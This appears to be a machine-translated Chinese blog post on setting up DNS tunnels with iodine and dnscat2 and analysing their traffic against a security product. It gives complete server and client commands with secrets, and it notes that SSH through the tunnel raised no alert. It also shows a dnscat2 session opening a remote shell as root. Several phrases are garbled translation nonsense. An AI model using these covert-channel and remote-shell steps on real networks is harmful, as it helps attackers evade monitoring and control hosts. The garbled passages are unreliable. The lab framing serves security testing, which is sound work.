小工具      在线工具  汉语词典  css  js  c++  java

基于安全产品的DNS隧道流量分析

安全,linux,网络 额外说明

收录于:40天前

域名准备

您选择哪种云并不重要。我这里选择的TX云是因为我之前已经注册过,所以用它来做流量分析是没有问题的。

为域名添加解析记录

需要准备自己的vps作为DNS隧道的服务器,并且需要添加ns记录

加碘的

关闭53端口,禁用开机自动启动

systemctl stop systemd-resolved
systemctl disable systemd-resolved

53端口已被关闭

启动服务器

iodined -f -c -P 1qaz@WSX 192.168.100.1 ns.xxx.xyz -DD

参数说明

-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。

客户

iodine -f -P 1qaz@WSX ns.aligoogle.xyz -M 200

客户端连接正常,服务器端显示客户端连接成功。

查看客户端网卡,因为配置的时候一直不太稳定,所以这里服务端分配的虚拟网卡我更换为了192.168.121.1

测试隧道是否连通

延迟比较高并且不稳定。

通过隧道连接目标主机

ssh -p 2222 [email protected]

这里我更改了ssh端口

但是发现安全设备在连接高危端口的时候无告警

流量分析

捕获dns0网卡的流量

tcpdump -i dns0 端口 53 -w file.pcap

参数-i指定网卡,port指定端口,DNS使用53端口,-w写入文件。

检查日志,发现所有流量都是DNS日志,但目的地是我自己的VPS。

事实上,可以根据流量特征来识别工具类型。

审判

本来我想用穿透工具来穿透隧道。这里我使用 nps 来穿过袜子。如果我想使用虚拟网卡,需要修改nps配置文件。

./npc -server=192.168.120.1:63323 -vkey=n4jg3lrvg19qlqth -type=tcp

检查nps上线后是否需要端口转发。如果没有端口转发,则无法直接使用虚拟地址的隧道。实际上在这里这样做是没有意义的。

但我发现这里行不通。参考了一些文章,发现某位大师写的有问题。这里没有必要。不存在所谓的套标+复出口转发。单个隧道不稳定并被卡住。如何使用袖子?婴儿。

dnscat2 构建

安装准备

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
curl -sSL https://get.rvm.io | bash
source /etc/profile.d/rvm.sh
rvm install 2.6.0
source /etc/profile.d/rvm.sh
rvm use 2.6.0
gem install bundler

bundle install
ruby ./dnscat2.rb

需要注意的是,这里开放了vps的udp端口53。

firewall-cmd --zone=public --add-port=53/udp --permanent
firewall-cmd --reload

对于国内服务器腾讯云,需要更换源。下载文件需要科学上网。如果您在中国下载工具,则找不到该服务。

客户

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

./dnscat --dns server=IP,port=53 --secret=f361f307f523b07352d0bab1b765a888    //直连模式
./dnscat --dns server=ling.domain --secret=1qaz2wsx             //中继模式

直连方式

服务器:

客户:

中继模式

ruby ./dnscat2.rb ns.domain -e open -c 1qaz2wsx --no-cache

客户

./dnscat --dns domain=ling.domain --secret=1qaz2wsx   
./dnscat --dns server=www.domain --secret=1qaz2wsx   

服务器命令

sessions 列出所有session
session -i 2 进入session 2
shell:创建交互式shell
suspend:返回上一层
exit:退出
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell,此处必须在1::command(kali)中使用)
download/upload(两端之间上传下载文件)
listen <本地端口> <控制端IP/127.0.0.1>:<端口>(端口转发,此处)(此处必须在1::command(kali)中使用)
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (ubuntu) 1> whoami
Error: Unknown command: whoami
command (ubuntu) 1> shell
Sent request to execute a shell
command (ubuntu) 1> New window created: 2
Shell session created!
whoami
Error: Unknown command: whoami
command (ubuntu) 1> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (ubuntu) 2> whoami
sh (ubuntu) 2> root

 tcpdump -i dns0 port 53 -w file.pcap

流量包中的数据内容

请求包和返回包没有太大区别。在返回数据包的TXT记录中,包含了较多的域名信息,可以看到加密传输的信息。可以看到DNS查询请求的域名信息前有一串数据,其中包含了加密后的交互数据。

其他工具

和工具关系不大。对于隧道,DNS 只需要 IP 和域名,无需标记。事实上,它使用的是UDP协议,所以安全设备上的流量数据都是流量数据。类似的工具还有dns2tcp等,但总体来说,隧道比较慢且不稳定,速度比较慢且传输不支持大流量传输。

. . .

相关推荐

额外说明

mysql存储过程有commit和无commit的区别

区别 如果存储过程中没有执行commit,那么spring容器一旦发生了事务回滚,存储过程执行的操作也会回滚。如果存储过程执行了commit,那么数据库自身的事务此时已提交,这时即使在spring容器中托管了事务,并且由于其他原因导致service代码中

额外说明

mysql 模糊查询带逗号间隔字符(数组字符1,2,3)

查询只包含 1和3的数据 SELECT * FROM t_level_manage WHERE FIND_IN_SET ('1',remind_way) AND FIND_IN_SET ('3',remind_way)

额外说明

rabbitMQ 延迟消息

参考 https://www.jianshu.com/p/7e5f0742c8e3 https://blog.csdn.net/linsongbin1/article/details/80178122   原理图解 rabbitMQ延迟消息原理.png

额外说明

SpringCloud04_OpenFeign概述(远程调用)、基本使用、超时控制、日志打印功能

文章目录 ①. OpenFeign的概述 ②. Feign的基本使用(消费端) ③. OpenFeign超时控制 ④. OpenFeign日志打印功能 ⑤. Feign案例操作 ①. OpenFeign的概述 ①. Feign是一个服务接口的绑定器,(接

额外说明

Internet软件设计——产品设计方法借鉴

经验: 1. 目标 需求文档(客户口述/协议) -> 流程图 -> 原型设计 -> 逻辑时序框图 -> 前端页面UI美化 3. DB设计 数据实体 (存在即以个表) -> 整体原则 4. 框架选型 前端框架 -> 提取元素 ->

额外说明

C#——枚举类型

C#——枚举类型 枚举类型 是由基础整型数值类型的一组命名常量定义的值类型。 若要定义枚举类型,请使用 enum 关键字并指定枚举成员 的名称: enum Season { Spring, Summer, Autumn,

额外说明

[Ext JS ] 7.25.1 Form或者面板自动定位到错误的输入框

Form有众多输入框, 一般会设置纵向的滚动条。 该状况下在提交表单时,如果某些字段的输入值非法, 且这些字段不在直接显示的页面中时, 点击提交按钮感觉没有产生效果。 比较理想的效果是如果有字段输入非法, 滚动条能自动滚动到非法的字段, 如下图: 实现方

额外说明

解决Windows中缺少mfc120kor.dll文件的问题

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或者损坏了,这时你只需下载这个mfc120kor.dll文件进行安装(前提是找到适合的版本)

额外说明

python环境变量配置与Jupyter安装

python环境变量配置与准备知识 在官网下载Python 只需安装下载的python即可。最好新建一个英文目录,不要安装在c盘。 环境变量的配置: wondow+r输入cmd进入命令提示窗口输入:path=%path%;[安装路径] 或者在此电脑->属

额外说明

IOS中引入Weex,并通过URL进行UI渲染

一. 直接用官方的WeexDemo,然后找到WeexSDK管理器这个类,写入URL既可以,如下: // 需要渲染的UI界面的URL。注意这里的URL后缀是.js 网址 = [NSURL 带字符串的 URL:@"http://10.50.62.53:999

ads via 小工具